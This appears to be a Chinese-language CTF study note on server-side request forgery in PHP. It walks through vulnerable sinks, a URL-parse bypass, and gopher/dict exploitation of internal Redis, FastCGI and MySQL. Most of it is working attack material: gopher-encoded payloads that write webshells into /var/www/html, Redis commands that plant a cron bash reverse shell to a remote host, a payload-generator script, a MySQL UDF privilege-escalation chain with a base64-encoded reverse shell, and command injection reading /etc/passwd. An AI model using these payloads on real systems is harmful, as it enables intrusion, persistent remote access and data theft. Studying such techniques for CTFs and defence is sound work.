SSRF(service side request forgery)

服务端请求伪造,是由服务端发起的

file_get_contents()

把一个文件当做字符串进行读取
默认是没有回显的,需要echo输出来查看
不支持PHP中的伪协议,可以读取一个url

<?php
echo file_get_contents('http://www.baidu.com')
?>

file_get_contents是可以读取其他目录下的文件的,当输入他不能识别的协议时,他会把这个不能识别的协议当做一个目录,我们使用../即可实现路径穿越,读取文件

<?php
echo file_get_contents('a://undefind/../../../flag.txt');
?>

curl

<?php

function curl($url){
$c=curl_init();
curl_setopt($c, CURLOPT_URL, $url);
curl_exec($c);
curl_close($c);
}

$url=$_GET['url'];
curl($url);

?>

parse_url

将传入的url解析

<?php
$url="https://www.baidu.com/index.php?id=1";
print_r(parse_url($url));
?>
//Array ( [scheme] => https [host] => www.baidu.com [path] => /index.php [query] => id=1 )

bypass

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

payload:

url=http://ctf.@127.0.0.1/flag.php?show

fsockopen

fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

题目来源于hnctf

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}

payload

<?php
$host='127.0.0.1';
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);

常见的协议

file://
读取文件
dict://
探测端口开放情况
gopher协议
可用于发起get ,post请求,能够与redis交互 SMTP fast-cgi……
fast-cgi协议
快速通用网关接口

ssrf中的信息搜集

ssrf是可以攻击内网其他机器的,我们要做的第一步就是获取当前机器的内网网段,以便于对其他机器进行扫描

file:///etc/hosts

高权限还可以读取
/proc/net/arp
/etc/network/interfaces

如果有phpinfo界面,也是可以看到ip信息的(server_adde)
正常来说需要用dict协议扫描一个网段下所有ip地址的全端口,这样需要发送65535x255个包,太慢了
我们对255个ip进行常见端口的扫描,如80 3306 6379 8080 ……
或者先url=http://172.0.1.1-255

攻击fast-cgi

使用gopherus生成payload

python2 gopherus.py --exploit fastcgi
//选择一个存在的文件
//输入要执行的命令

将生成的payload进行url编码(encodeURIComponent编码方式,会对特殊符号编码),编码后的字母都需要大写
exp:

?file=payload

攻击未授权redis

存在web应用(写shell)
使用gopherus生成payload

python2 gopherus.py --exploit redis
//phpshell
//选择要写入的目录
//<?php system('cat /flag'); ?>

将生成结果url编码(不包括所有字符)
exp

?url=gopher%3A%2F%2F172.20.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520f%252A%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

在这里有可能写入文件失败,是因为/var/www/html目录下没有写入权限,我们可以接着对web应用做一个路径扫描,接着将写马的位置设置到二级目录下,如/var/www/html/upload即可

因为是不需要密码的,所以也可以使用dict协议来进行写shell

#读取redis信息
dict://172.72.23.27:6379/info

# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root

# 写入 webshell
dict://172.72.23.27:6379/set x "\n<?php eval($_POST[1]); ?>\n"

# 保存上述操作
dict://172.72.23.27:6379/save

不存在web应用(反弹shell)
在burp下放包(防止浏览器编码的问题)

#读取redis信息
dict://172.72.23.27:6379/info

# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root

# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

# 保存上述操作
dict://172.72.23.27:6379/save

攻击授权redis

首先需要知道redis的密码,redis密码常见路径

/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf

验证redis密码

url=dict://172.72.23.28:6379/auth P@ssw0rd

dict不支持多行命令 所以只能使用gopher协议 抓取通信流量

*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$1\r
x\r
$21\r

<?php phpinfo(); ?>
\r
*1\r
$4\r
save\r

生成脚本
可以反弹shell也可以生成shell,其实本质都是一样的,利用redis在特定的位置写入文件

import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\n\n<?php phdsgrgregregreg();?>\n\n"
filename = "mo60.php"
path = "/var/www/html"
passwd = "P@ssw0rd"
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

# print(payload)
print(urllib.parse.quote(payload))

攻击无密码mysql

直接使用gopherus即可,可以尝试udf提权
udf(User Defined Function)用户自定义函数

show variables like '%plugin%';
拿到 MySQL 的插件目录为:/usr/lib/mysql/plugin/
SELECT 0x7f454c460...省略大量payload...0000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i')

发起POST请求

如果所有数据使用以post进行发送的话,要在请求头中删除Accept-Encoding: gzip, deflate,防止二次编码
需要把post包的Content-Length填写正确

a=input('输入要判断的信息:')
print('Content-Length为:',len(a))

编码脚本

import urllib.parse
payload =\
"""POST / HTTP/1.1
Host: 172.72.23.24:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Connection: close
Upgrade-Insecure-Requests: 1

ip=172.0.0.1|cat /etc/passwd
"""
# 注意Content-Length需要改为实际的长度
tmp = urllib.parse.quote(payload)
tmp=tmp.replace('%3A',':')
tmp=tmp.replace('%0A','%0D%0A')
tmp = urllib.parse.quote(tmp)
tmp=tmp.replace('%3A',':')
result = 'gopher://172.72.23.24:80/'+'_'+tmp
print(result)

思路:
1.对数据进行url编码,使用%0a代替换行符
2.将%0a换成%0d%0a,在末尾也加上%0d%0a
3.再次url编码